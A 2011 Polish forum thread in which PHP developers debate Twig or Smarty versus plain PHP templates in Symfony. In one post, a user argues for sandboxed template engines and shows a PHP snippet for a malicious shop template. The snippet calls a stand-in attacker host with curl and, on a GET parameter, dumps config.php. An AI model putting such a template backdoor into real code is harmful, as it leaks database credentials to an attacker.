[Symfony]Twig czy PHP Opcje

[Jazi]

Witajcie, dopiero zaczynam się brać za tematykę frameworków. Z tego względu chciałbym Was zapytać czego używacie do budowania szablonów - twig, czy php? I czemu?

Ten post edytował Jazi 29.07.2011, 13:47:59

[1010]

Twig, w php mnie zawsze kusi, żeby w szablonie były elementy, które do szablonu nie należą i później robi się nieporządek.

[Cysiaczek]

php. Twig to moim zdaniem krok wstecz.

[1010]

Dlaczego krok wstecz?

[janek9]

Lepiej zadać pytanie, które jest szybsze?

Twig i tak kompiluje się do postaci PHP, ale jeżeli projekt jest duży znacznie uprości to robotę.

[thek]

IMHO - php. Nie tylko czysty jezyk jest szybki tak jak to możliwe, to jeszcze zawsze nadchodzi moment w którym powiesz: "Chciałbym to zrobić, ale nie mogę, bo twórca tego nie przewidział". W samym języku zrobisz to bez problemu, a w nakładkach czasem musisz zastosować różne tricki by osiągnąc tę samą funkcjonalność, nierzadko rezygnując z wielu innych umilaczy. Poza tym skoro znasz już sam język, to po co uczyć sie jeszcze czegoś, co w sumie jest tylko nakładką na to? Popatrz choćby na kobylaste smarty czy twiga i zastanów się po co... 90% rzeczy używanych nie różni się od szablonu w czystym php i różnice są głównie estetyczne...
foreach( $a AS $b) {} to {foreach $a as b}{/foreach} czy podobne. Jaki jest sens tego?

Inna sprawa to fakt, że nigdy do końca nie znasz implementacji określonej funkcji czy modyfikatora, jak choćby escape bez sięgnięcia w źródło samego systemu i tak... To htmlspecialchars czy htmlentities czy co? Na dodatek jeszcze nie wiesz z jakimi parametrami i czy Ci się ze stroną, serwerem czy bazą nie pogryzą tak, że więcej w tym będzie haków na hakach niż wygodnego użytkowania. Niestety większość systemów szablonów to zwyczajne kobyły i przerost formy nad treścią.

Smarty jest tego najlepszym przykładem. W pewnym momenice dochodzisz do sytuacji, że sam musisz pisać własne dodatki do tego systemu lub go modyfikować. teraz musisz znać masę zależności, wiedzieć co i jak, gdzie oraz po co, bo inaczej Ci parser szablonu zrobi "Jebut!" Innymi słowy tracisz mase czasu by poznać sam system szablonu zamiast zrobić sobie w php bibliotekę pomocniczą przynajmniej kilka razy szybciej.

EDIT: Jedyna sensowna rzecz to cache'owanie i tylko to warto implementować, a reszta może być zwykłym szablonem w czystym php

[1010]

Czy te różnice szybkości, które nie są aż takie wielkie mają aż takie ogromne znaczenie przy aktualnych możliwościach sprzętowych? Powiedzmy sobie szczerze, nie tworzymy na co dzień aplikacji z których korzystają miliony osób w jednym momencie. Dlatego też chyba warto nadłożyć nad minimalną poprawę wydajności wygodę tworzenia kodu.

Edit:
PS. Jeśli ktoś tworzy na co dzień aplikacje, które w poście wykluczyłem, to szacunek i w takich sytuacjach rozumiem, że trzeba postawić przede wszystkim na wydajność.

Ten post edytował 1010 29.07.2011, 14:25:27

[LBO]

php. Twig to moim zdaniem krok wstecz.

Też tak uważam niestety :/ Jak dla mnie wprowadzenie komponentu templating to jedynie sprawny krok marketingowy.

[1010]

Rozumiem wasze argumenty. Dla mnie niestety problemem było na początku korzystania z MVC nieumiejętność oddzielenia szablonu od implementacji logiki, co Smarty (wtedy jeszcze) na mnie wymuszało i tak jakoś się przyzwyczaiłem do tych jak to określiliście "nakładek". Czytając wasze argumenty poważnie się zastanowię czy nie czas wrócić do "czystego" php w warstwie widoku (nie ważne czy to w Symfony, czy jakiś innych aplikacjach, w tym autorskich rozwiązaniach).

[thek]

@1010: Powiedz mi jaki jest sens nauki systemu szablonów, który w większości przypadków nie różni sie niemal niczym od swego php-owego odpowiednika? W wielu przypadkach to tylko minimalnie inna forma zapisu. Ile ja razy Smarty sklinałem za jego debilizmy i wolałem zrobić {php}{/php} niż spedzić kolejną godzine lub dwie bo twórcy czegoś tam nie przewidzieli, a hacki na forum smarty by to osiągnąć powodowały chęć walenia głową w ścianę. Na dodatek przy pewnym stopniu złożoności kod stawał się karkołomnie nieczytelny, bo nie wiadomo nagle skąd się połowa zmiennych bierze, które są choćby węwnetrznymi indeksami pętli. Ktoś, kto miałby to analizować lepiej gdyby od razu strzelił sobie w łeb Twig ma tę samą przypadłość. Zagnieźdź w sobie kilka pętli i spróbuj jakoś nad tym zapanować gdy w grę wchodzą loop, index itp. W pewnym momencie zaczynasz się gubić jak masz do tego się odwoływać. Jeszcze z klamerkami, czy już nie, a może ze znaczkiem dolara? Po prostu burdel na kółkach.

PS: Ja idac do pierwszej firmy nie znałem Smarty i po pierwszym zetknięciu pomyślalem "Fajne to!", do czasu gdy nie musiałem w tym wiecej zakodzić już bardziej złożonego. Smarty nadaje się do prostych layoutów jedynie tak naprawdę. I szybko się o tym przekonałem oraz co jakiś czas mnie trzepie gdy musze coś poprawiać lub unowocześniać w starych serwisach, bo one jeszcze na smarkach chodzą.
Z drugiej strony odradzam pisanie w czystym php layoutów gdy ktoś nie potrafi podzielić sobie szablonu na elementy funkcjonalne. Bo potem ma się 100 widoków, każdy na inna okazję

[Hellz]

http://www.twig-project.org/

Lista argumentów za. Ja jak najbardziej jestem zwolennikiem Twiga, bo jest on mega lekki w porównaniu do Smarty, a jednocześnie daje nowe opcje takie jak np. dziedziczenie szablonów. Pisze się w nim bardzo szybko, a w momencie, gdy na coś nie pozwala jest spora szansa na zastanowienie się: czy aby na pewno powinienem robić to w tym właśnie miejscu?

Różnica w wydajności po skompilowaniu będzie niewielka, natomiast różnica w czytelności skomplikowanego szablonu kolosalna.

[1010]

Właśnie w Twigu też jak najbardziej podoba mi się kilka rzeczy, jak np. dziedziczenie o którym wspomniał Hellz. Jeśli chodzi o Smarty to też na dzień dzisiejszy widzę, że jest to zbędna kobyła, którą przestałem "lubić".

Jeśli chodzi o naukę systemu szablonów to nie mówmy, że to jest wielka nauka. Idzie siąść bez żadnej wiedzy i po godzinie już pracować w danym systemie bez większej nauki.

[LBO]

Dziedziczenie szablonów? To nie jest argument, bo to nie jest cos co ma tylko Twig.

@1010:

To nie jest tak, że widok nie ma swojej logiki. Ma jak najbardziej - wyobraź sobie pojedyńczy ekran (akcję) np. liste ofert sprzedaży książek.
Gdy chcę wypluć pełną stronę HTML, to logiką widoku jest tutaj - w najprostrzym przypadku - otoczenie szablonu PHP layoutem (z nagłówkiem, stopką i innymi sidebarami). Pobierając tą samą listę ale AJAXem, jako JSON layout i szablon najchętniej bym pominął (bo wystarczy json_encode), ustawił odpowiedni content-type i zapewne znormalizował dane odebrane z kontrolera (zamienić obiekty biznesowe na tablicę). Podobnie będzie w przypadku PDF i Excela.

Niestety twórcy symfony - w standardzie, bo ViewBundle istnieje, ale jego implementacja w ogóle mi sie nie podoba - takich mozliwości nie zaserwowali. Chyba tylko w Agavi widziałem jak ta idea hula.

[zend]

Decyzja czy użyć systemu szablonów czy czystego php jest stricte biznesowa i zależy od tego jakiego rodzaju to projekt. Jeśli tworzysz system którym umożliwia zaawansowane formatowanie treści przez użytkowników dodających własne templatki i nie chcesz żeby ktoś wyświetlił Ci całe źródło php to najlepiej jest skorzystać z systemu szablonów który "uniemożliwi" np iteracyjne przejści po katalogach i przeczytanie plików źródłowych i ich wyświetlenie. Przykładem takiego projektu jest prestashop, gdzie użytkownicy mają możliwość ściągnięcia i zainstalowania gotowych templatek. Łatwo sobie wyobrazić sytułację kiedy ktoś dorzuca do templatki kod

[PHP] pobierz, plaintext 
 
$curl_handle=curl_init();
curl_setopt($curl_handle,CURLOPT_URL,'http://hackthatshop.com/ping');
curl_exec($curl_handle);
curl_close($curl_handle);
 
if(isset($_GET['displaySource']))
{
//.....
var_dump(get_included_files());
echo file_get_contents('config.php');
}
[PHP] pobierz, plaintext 

dostaje dostęp do bazy, a potem zamawi co chce bez ograniczeń, smarty w tym przypadku ogranicza takie ryzyko do minimum. Jeśli projekt nie będzie miał takich restrykcji najlepiej omijać systemu szablonów. W Zend_View problem jest dość ciekawie rozwiązany, polecam też zerknąć w kod

Ten post edytował zend 29.07.2011, 20:55:44

[by_ikar]

twig to jest niemal to samo co smarty. Nie jestem fanem składni szablonów podobnych do smarty, nie chodzi o klamry, bo w pewien sposób upraszcza to trochę pisanie i jest trochę estetyczniejsze, tylko chodzi o to co jest pomiędzy tymi klamrami.. Szczerze mówiąc nie wiem po co parsować zawartość pomiędzy klamrami żeby użyć jakiejś pętli, skoro php umożliwia taki zapis pętli lub bloków:

foreach:

Kod

foreach($arr as $key => $val):
//...
endforeach;

while:

Kod

while($some):
//..
endwhile;

if:

Kod

if($some):
//..
elseif($some2):
//..
else:
//..
endif;

Co jest nawet uwzględnione w dokumentacji: http://www.php.net/manual/en/control-structures.while.php Podobnie też nie lubię niejawnego przekazywania zmiennych, tj zmienne są "wrzucane" do szablonu poprzez extract, i jest 0 kontroli nad takimi zmiennymi.. Jedyne co bym z treści wewnątrz klamer parsował to jakieś includowanie templatków, resztę bym poprostu zostawił takie jakie jest w php, jedynie żeby tylko klamry zastępowało odpowiednio na <php? oraz ?>. Cała reszta w tych szablonach jest zbędna, bo mając dostęp do php mamy już funkcjonalność. A jeżeli chodzi o dostęp powiedzmy do bazy danych. Jeżeli jest to klasa, i przekazujesz jakieś informacje do tej klasy to przecież bardzo łatwo ograniczyć co można użyć w takiej klasie a czego nie i tak na prawdę żadnych smarty nie potrzeba.

[thek]

@zend: Ja rozumiem, że tworzenie zaawansowanych templatek wymaga pewnych zabiegów i złagodzenia polityki bezpieczeństwa, ale powiedz mi, który admin byłby na tyle głupi, by zezwolić na funkcje pokroju include, require, var_dump czy fopen bądź podobne, skoro wiadomo, że to jawne proszenie się o przetestowanie zabezpieczeń serwera oraz włam z rodzaju directory travestal. I to jeszcze ułatwiony aż do bólu. Nawet gdyby politykę bezpieczeństwa poluzował, to użyłby zapewne własnego systemu tagów i je parsował. Wcale do tego nie trzeba koniecznie twig czy smarty. Użyłby zwykłego bbcode i też by zdało egzamin.

[Hellz]

Dziedziczenie szablonów? To nie jest argument, bo to nie jest cos co ma tylko Twig.

Twig jest wzorowany bardziej na Django niż na Smarty i według mnie nie ma porównywalnej biblioteki w PHP, bo wydaje mi się, że Potencier nie pisałby tego od początku, nie sądzisz? Chyba, że uważasz go za kiepskiego programistę

Pewnie, że wszystko można zrealizować w czystym PHP, nie mniej to powoduje, że w natłoku obowiązków w szablonach pojawiają się prowizorki.. i kto takiej nie napisał, niech pierwszy rzuci kamień.

Dojrzalsze języki programowania także korzystają z systemu szablonów, wyobrażacie sobie napisanie widoku w czystej Javie?

S2 narzuca pewne bardzo dobre praktyki programowania, a jeżeli ktoś za wszelką cenę się chce przed nimi bronić, to jego sprawa. Ten framework to prawdziwy przełom dla języka PHP i prędzej czy później trzeba będzie go polubić, bądź dalej dłubać małe projekciki w jednoosobowym teamie.

Edit: Do poczytania argumenty F.P.
http://fabien.potencier.org/article/34/tem...-engines-in-php

Ten post edytował Hellz 2.08.2011, 23:04:45

[buliq]

Moim zdaniem tylko php ma sens. Systemy szablonów stworzono dla osób które nie bawią się w pisanie serca aplikacji a dla tych co odpowiadają za wygląd strony - html,css,js. Bo po co innego miało by to być?

[mrok]

Twig - Sporo pisałem ostatnio w django i jakoś Twig wydaje mi sie czyms naturalnym.

@thek
Jesli masz jakis nietypowy case, nieprzewidziany przez Tworce Twinga to mozesz napisac wlasnego extensiona. Wydaje mi się to lepszym pomysłem ponieważ wymusza możliwość uzycia raz napisanego kodu w innym miejscu. Inna sprawa ze taki kod latwiej przetestowac - jednostkowo chociazby.

[starach]

Oj taaaaaaak bo po to sie tworzy szablon żeby jeszcze się (pierd|moz)olić z tworzeniem fikuśnych helperów.

Widok/Szablon = Formatowanie danych do wyświetlenia.

A z tym radzi sobie świetnie zwykłe PHP. Jeśli twórcy tego języka w całej swej mądrości nie wywaliliby jeszcze short_open_tags to by było jeszcze prościej ( krócej ). Poza tym ściągam każdy edytor wzpierający wyświetlanie PHP i mam podświetlanie składni. W przypadku twiga czy smartów muszę instalować jakieś bzdurne dodatki które nie każde IDE posiada. Wniosek = PHP